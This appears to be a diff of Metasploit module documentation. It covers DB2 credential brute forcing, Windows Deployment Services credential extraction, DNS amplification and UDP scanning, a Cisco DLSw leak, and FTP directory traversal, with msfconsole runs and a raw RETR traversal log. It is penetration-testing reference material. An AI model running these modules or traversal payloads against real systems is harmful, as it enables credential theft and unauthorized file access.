[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Signature: 975394e16633312406281959287fcbd9
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UTF8 Server Name: ubuntu
[*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
@@ -0,0 +1,32 @@
## Vulnerable Application
This module attempts to authenticate against a DB2 instance using username and password combinations indicated by the `USER_FILE`, `PASS_FILE`, and `USERPASS_FILE` options.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/db2/db2_auth)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/db2/db2_auth`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### A run on Kali Linux 2019.3 and DB2 11.5.0.0a
```
msf > use auxiliary/scanner/db2/db2_auth
msf auxiliary/scanner/db2/db2_auth) > show options
msf auxiliary/scanner/db2/db2_auth) > set USERNAME db2inst1
msf auxiliary/scanner/db2/db2_auth) > set PASSWORD db2pass
msf auxiliary(scanner/db2/db2_auth) > set DATABASE testdb
msf auxiliary/scanner/db2/db2_auth) > set RHOST 172.17.0.2
msf auxiliary/scanner/db2/db2_auth) > run
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:db2inst1@testdb (Incorrect: )
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:dasusr1@testdb (Incorrect: )
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:db2fenc1@testdb (Incorrect: )
[*] 172.17.0.2:50000 - Login Successful: db2inst1:db2pass
[*] 172.17.0.2:50000 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,27 @@
## Vulnerable Application
This module queries a DB2 instance information.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/db2/db2_version)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/db2/db2_version`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### A run on Kali Linux 2019.3 and DB2 11.5.0.0a
```
msf > use auxiliary/scanner/db2/db2_version
msf auxiliary(scanner/db2/db2_version) > show options
msf auxiliary(scanner/db2/db2_version) > set DATABASE testdb
msf auxiliary(scanner/db2/db2_version) > set RHOSTS 172.17.0.2
msf auxiliary(scanner/db2/db2_version) > run
[+] 172.17.0.2:50000 - 172.17.0.2:50000 DB2 - Platform: QDB2/LINUXX8664, Version: SQL11050, Instance: db2inst1, Plain-Authentication: OK
[*] 172.17.0.2:50000 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,41 @@
## Vulnerable Application
This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/dcerpc/windows_deployment_services) and pull request [PR #1420](https://github.com/rapid7/metasploit-framework/pull/1420).
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/dcerpc/windows_deployment_services`
3. set RHOST [ip]
4. Do: `run`
## Scenarios
### A run on Windows Server 2008 R2 X64
```
msf > use modules/auxiliary/scanner/dcerpc/windows_deployment_services
msf auxiliary(scanner/dcerpc/windows_deployment_services) > show options
msf auxiliary(scanner/dcerpc/windows_deployment_services) > set RHOST 192.168.5.1
msf auxiliary(scanner/dcerpc/windows_deployment_services) > run
[*] Binding to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040] ...
[+] Bound to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040]
[*] Sending X64 Client Unattend request ...
[*] Raw version of X64 saved as: C:/Documents and Settings/user/.msf5/loot/20121213104745_default_192.168.5.1_windows.unattend_399005.txt
[+] Retrieved wds credentials for X64
[*] Sending X86 Client Unattend request ...
[*] Sending IA64 Client Unattend request ...
Windows Deployment Services
===========================
Architecture Type Domain Username Password
------------ ---- ------ -------- --------
X64 wds Fabrikam.com username my_password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,30 @@
## Vulnerable Application
Detect UDP services that reply to empty probes.
More information can be found on the [Rapid7 blog page](https://blog.rapid7.com/2014/10/03/adventures-in-empty-udp-scanning/)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/discovery/empty_udp`
3. Do: `set RHOSTS [ip]`
4. Do: `set RPORT [port]`
5. Do: `run`
## Scenarios
### A run against Windows XP (X64) using Kali Linux 2019.3
```
msf auxiliary(scanner/dns/dns_amp) > use auxiliary/scanner/discovery/empty_udp
msf auxiliary(scanner/discovery/empty_udp) > set RHOSTS 1.1.1.1
RHOSTS => 1.1.1.1
msf auxiliary(scanner/discovery/empty_udp) > set RPORT 135
RPORT => 135
msf auxiliary(scanner/discovery/empty_udp) > run
[*] Sending 1032 empty probes to 1.1.1.1->1.1.1.1 (1 hosts)
[+] Received #52 from #:135:#1095/udp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,26 @@
## Vulnerable Application
This module implements the DLSw information disclosure retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unauthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active.
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/dlsw/dlsw_leak_capture`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### IOS version 12.4(8) and Kali Linux 2019.3
```
msf > use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > set RHOSTS 192.168.0.1
RHOSTS => 192.168.0.1
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > run
[*] 192.168.0.1:2067 - Checking for DLSw information disclosure (CVE-2014-7992)
[+] 192.168.0.1:2067 - Vulnerable to DLSw information disclosure; leaked 72 bytes
[*] 192.168.0.1:2067 - DLSw leaked data stored in /root/.msf4/loot/20191124231804_default_192.168.0.1_dlsw.packet.cont_518857.bin
[*] 192.168.0.1:2067 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,33 @@
## Vulnerable Application
This module can be used to discover DNS servers which expose recursive name lookups which can be used in an amplification attack against a third party.
BIND 9.4.1-P1: [source](ftp://ftp.isc.org/isc/bind9/9.4.1-P1/bind-9.4.1-P1.tar.gz)
Ubuntu 7.10: [Gutsy Gibbon](http://old-releases.ubuntu.com/releases/7.10/)
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/dns/dns_amp`
3. Do: `set DOMAINNAME [domain]`
4. Do: `set RHOST [ip]`
5. Do: `run`
## Scenarios
### A run on Ubuntu 7.10 (Gutsy Gibbon) and BIND 9.4.1-P1
```
msf > use modules/auxiliary/scanner/dns/dns_amp
msf auxiliary(scanner/dns/dns_amp) > set DOMAINNAME domain.com
DOMAINNAME => domain.com
msf auxiliary(scanner/dns/dns_amp) > set RHOSTS 192.168.10.254
RHOSTS => 192.168.10.254
msf auxiliary(scanner/dns/dns_amp) > run
[*] Sending DNS probes to 192.168.10.254->192.168.10.254 (1 hosts)
[*] Sending 70 bytes to each host using the IN ANY domain.com request
[+] 192.168.10.254:53 - Response is 374 bytes [5.34x Amplification]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,29 @@
## Vulnerable Application
This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0.
This vulnerability allows an attacker to download arbitrary files from the server by crafting a `RETR` command that includes file system traversal strings such as `..//`.
Link to Konica Minolta FTP Utility 1.00 software download [Exploit-DB](https://www.exploit-db.com/apps/6388a2ae7dd2965225b3c8fad62f2b3b-ftpu_10.zip)
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/ftp/konica_ftp_traversal`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### Konica Minolta FTP Utility 1.00 on Windows 7 (X64)
```
msf > use modules/auxiliary/scanner/ftp/konica_ftp_traversal
msf auxiliary(scanner/ftp/konica_ftp_traversal) > set RHOSTS 1.1.1.1
RHOSTS => 1.1.1.1
set PATH ../../WINDOWS/win.ini
PATH => ../../WINDOWS/win.ini
msf auxiliary(scanner/ftp/konica_ftp_traversal) > run
[+] 1.1.1.1:21 - Stored ../../WINDOWS/win.ini to /root/.msf4/loot/20191122042114_default_1.1.1.1_konica.ftp.data_003802.ini
[*] 1.1.1.1:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,52 @@
## Vulnerable Application
This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
This vulnerability allows an attacker to download arbitrary files from the server by crafting a `RETR` command that includes file system traversal strings such as `..//`
Linked to software download [Exploit-DB](https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z)
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/ftp/pcman_ftp_traversal`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### PCMan FTP Server 2.0.7 on Windows 7 (X64)
```
msf > use modules/auxiliary/scanner/ftp/pcman_ftp_traversal
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > show options
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > set RHOST 1.1.1.1
rhost => 1.1.1.1
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > set PATH WINDOWS\\win.ini
PATH => WINDOWS\win.ini
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > run
[+] 192.168.2.252:21 - Stored WINDOWS\win.ini to /root/.msf4/loot/20191120201523_default_1.1.1.1_pcman.ftp.data_069450.ini
[*] 192.168.2.252:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Manual Exploitation
```
2019/11/20 [12:46] (00588) 1.1.1.2> User connecting from 1.1.1.2
2019/11/20 [12:46] (00588) 1.1.1.2> USER anonymous
2019/11/20 [12:46] (00588) Anonymous> 331 User name okay, need password.
2019/11/20 [12:46] (00588) Anonymous> PASS *****
2019/11/20 [12:46] (00588) Anonymous> 230 User logged in
2019/11/20 [12:46] (00588) Anonymous> PASV
2019/11/20 [12:46] (00588) Anonymous> 227 Entering Passive Mode (1.1.1.1,8,1)
2019/11/20 [12:46] (00588) Anonymous> RETR ..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//WINDOWS\win.ini
2019/11/20 [12:46] (00588) Anonymous> 150 File status okay; Open data connection.
2019/11/20 [12:46] (00588) Anonymous> 226 Data Sent okay.
2019/11/20 [12:46] (00588) Anonymous> User Disconnected.
```

Some files were not shown because too many files have changed in this diff Show More